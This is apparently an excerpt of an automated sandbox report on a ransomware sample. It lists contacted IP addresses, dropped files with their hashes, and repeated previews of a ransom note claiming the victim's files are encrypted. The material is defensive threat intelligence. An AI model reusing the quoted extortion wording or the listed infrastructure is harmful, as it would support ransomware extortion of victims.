                                                                                QqcQ1EteWS.exeGet hashmaliciousBrowse
                                                                                • 66.228.32.51
                                                                                • 195.242.130.99
                                                                                • 159.203.88.13
                                                                                • 51.178.54.109
                                                                                • 52.42.236.180
                                                                                • 149.210.207.139
                                                                                • 213.186.33.151
                                                                                • 185.151.30.134
                                                                                • 217.160.0.84
                                                                                • 139.162.168.84
                                                                                • 81.19.159.86
                                                                                • 87.98.154.146
                                                                                • 185.37.70.54
                                                                                • 149.126.4.26

                                                                                Dropped Files

                                                                                No context

                                                                                Created / dropped Files

                                                                                C:\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:true
                                                                                Reputation:low
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Program Files (x86)\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Program Files (x86)\Microsoft SQL Server\110\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Program Files (x86)\Microsoft SQL Server\110\Shared\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Program Files (x86)\Microsoft SQL Server\110\Shared\msasxpress.dll
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):21924
                                                                                Entropy (8bit):7.990846763884375
                                                                                Encrypted:true
                                                                                SSDEEP:384:IycjIfe+/JFtm9A9fqFc5zQVanC3GMIK5DeZOlRSUpIGS5dc3zPY:Iycjr+PtkA9yGKVanCWMJcZ68/GS8bY
                                                                                MD5:5C4269F575FC869E92A586C8BB3A6603
                                                                                SHA1:D0007B3321F5E02DFE943691FC70C8A36A973120
                                                                                SHA-256:215D6443EB4B9E667FF15B6FB3621D85FCF130543D281BAEA9C4EBBA524575B8
                                                                                SHA-512:546629BB1B84FC4041D27AE6CFAB6187D2BD473DBBF857F7491C25F190749DCBFF25F47019747330BD4B1B10E056C4C49BC6F58C30524DDA4FE2C3C27E4FF099
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview: .5.........e..)..c.TCv...}i...,.......5..;.._.e....:).3....Y.M,T...u.5......wV^[FU!.P.`...U....$.n.i.....>..f.]!...4.<b..T~.o.@.;...mj.Y.f......7....^q..JY.s.A.emU.........R.3.......~?E...."..c...5|c.....L...m{.J..'.D.\<\.g.?Y8.X....H.):.?wc"...u}....#.Od..k..<.VV3.\..T..vZsk*.]s..y_r...h...,'.....{...R.Q>Fb.5T+.T..b...Y..+.a....H..mn.....{/.zg...[F.....F..;..D....X%..<...I.i..~8`.}....=.F..D~=.5.......lX...g...y[.^.M.....P...N.n'w=.&...uA2....7..=..W.......;2 kb.@...............3.~.\....0.......Mkq.k]....w..g.E........M.<.......N_....m0N.'9X..t...?n.X..B.8s.\\p.....a._mDmA .9.N3l..4.$.fl.M...wD.......i/......3.[.....t...T..}....A.6.....=W.....P..*.H....I.\EF.t+..rq......S.P+.l"-l....I.^..k@%a..,C....J;.\.......C.l.S..8....\..n...#z/...,.....<3...v..I...,..p.P..N...T}!.....|..h....>4. ^U...4..<3 .E0..y...v..X...qy.....m.&A..%...Q..(FEJ@...A...g.|.1FBkx.X....#.Q.9.w.....s.A.t-...\..>6...l.....Y..M.....&..D......?}...1.Z.JF.;../M....K.<.W.,
                                                                                C:\Program Files (x86)\Microsoft SQL Server\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Program Files\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Recovery\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Default\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Default\Desktop\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
